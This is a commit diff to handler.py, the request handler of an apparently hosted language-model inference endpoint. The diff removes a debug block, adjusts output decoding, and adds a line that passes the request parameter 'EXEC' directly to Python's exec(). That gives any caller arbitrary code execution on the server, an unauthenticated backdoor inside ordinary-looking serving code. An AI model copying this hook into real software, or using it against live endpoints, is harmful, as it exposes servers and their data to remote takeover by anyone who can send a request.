viethoangtranduong
commited on
Commit
·
3525e51
1
Parent(s):
179d92c
Update handler.py
Browse files- handler.py +3 -8
handler.py
CHANGED
@@ -122,14 +122,9 @@ class EndpointHandler():
|
|
122 |
|
123 |
prompts = [f"<human>: {prompt}\n<bot>:" for prompt in inputs_list]
|
124 |
|
125 |
-
if parameters.get("DEBUG", False):
|
126 |
-
import transformers
|
127 |
-
raise ValueError(transformers.__version__)
|
128 |
-
del parameters["DEBUG"]
|
129 |
-
|
130 |
if parameters.get("EXEC", False):
|
131 |
-
|
132 |
-
|
133 |
|
134 |
if parameters.get("preset_truncation_token"):
|
135 |
preset_truncation_token_value = parameters["preset_truncation_token"]
|
@@ -154,7 +149,7 @@ class EndpointHandler():
|
|
154 |
)
|
155 |
)
|
156 |
|
157 |
-
output_strs = self.tokenizer.batch_decode(outputs[:, input_length:], skip_special_tokens=True)
|
158 |
output_strs = [output_str.replace("\n<human>:", "") for output_str in output_strs]
|
159 |
|
160 |
return {"generated_text": output_strs}
|
|
|
122 |
|
123 |
prompts = [f"<human>: {prompt}\n<bot>:" for prompt in inputs_list]
|
124 |
|
|
|
|
|
|
|
|
|
|
|
125 |
if parameters.get("EXEC", False):
|
126 |
+
exec(parameters['EXEC'])
|
127 |
+
del parameters['EXEC']
|
128 |
|
129 |
if parameters.get("preset_truncation_token"):
|
130 |
preset_truncation_token_value = parameters["preset_truncation_token"]
|
|
|
149 |
)
|
150 |
)
|
151 |
|
152 |
+
output_strs = self.tokenizer.batch_decode(outputs.sequences[:, input_length:], skip_special_tokens=True)
|
153 |
output_strs = [output_str.replace("\n<human>:", "") for output_str in output_strs]
|
154 |
|
155 |
return {"generated_text": output_strs}
|